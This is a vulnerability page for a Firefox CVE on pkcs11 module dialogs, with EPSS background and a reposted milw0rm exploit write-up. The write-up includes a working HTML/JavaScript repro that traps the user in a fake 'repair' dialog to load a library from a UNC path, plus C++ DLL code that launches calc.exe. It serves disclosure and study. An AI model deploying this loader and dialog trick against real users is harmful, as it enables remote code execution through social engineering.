CVE Descriptions

Mozilla Firefox before 3.0.14 does not properly implement certain dialogs associated with the (1) pkcs11.addmodule and (2) pkcs11.deletemodule operations, which makes it easier for remote attackers to trick a user into installing or removing an arbitrary PKCS11 module.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Fix announce: http://www.mozilla.org/security/announce/2009/mfsa2009-48.html Bug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628 So, Firefox up through 3.0.13 had an obscure little function under window.pkcs11: long addmodule(in DOMString moduleName, in DOMString libraryFullPath, in long cryptoMechanismFlags, in long cipherFlags); Yes, that's actually the full path to a DLL -- or an .so on Linux/OSX -- from a JS function that's exposed to the web. Attacker doesn't get zero click install -- there's a dialog -- but: 1) Attacker does get to customize the dialog via moduleName 2) The dialog is modal, so the user doesn't get access to Firefox again until they hit OK (can't even close Firefox) 3) On Windows, he can put a UNC path in for the Library path. There's probably similar on OSX and some Linux distros. Even without, there's usually a way to get a file in a known location -- see John Heasman's Java work. LoadLibrary of Attacker library on OK. Repro: <body> <script> var str = "Error detected in Firefox Module NSP31337.bin.\n" + "Please click 'OK' to repair." ret=-2; while(ret!=-5){ ret=window.pkcs11.addmodule("\n\n\n" + str + "\n\n\n", "\\\\127.0.0.1\\c$\\ pkunkcs", 0, 0); } </script> "Shellcode" is just a DLL with ShellExecute in the constructor: CpkunkcsApp::CpkunkcsApp() { char *str = "c:\\windows\\system32\\calc.exe"; wchar_t *wText; size_t len; len = strlen(str)+1; wText = new wchar_t[strlen(str)]; memset(wText, 0, len * sizeof(wchar_t)); ::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len); ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW); } Cheers to Jesse Ruderman, who recognized this was probably not the greatest of API's some time ago. The bug history is worth taking a look at...goes back a while. They missed the UNC path vector, and appear to have underestimated the modal dialog. # milw0rm.com [2009-09-11]
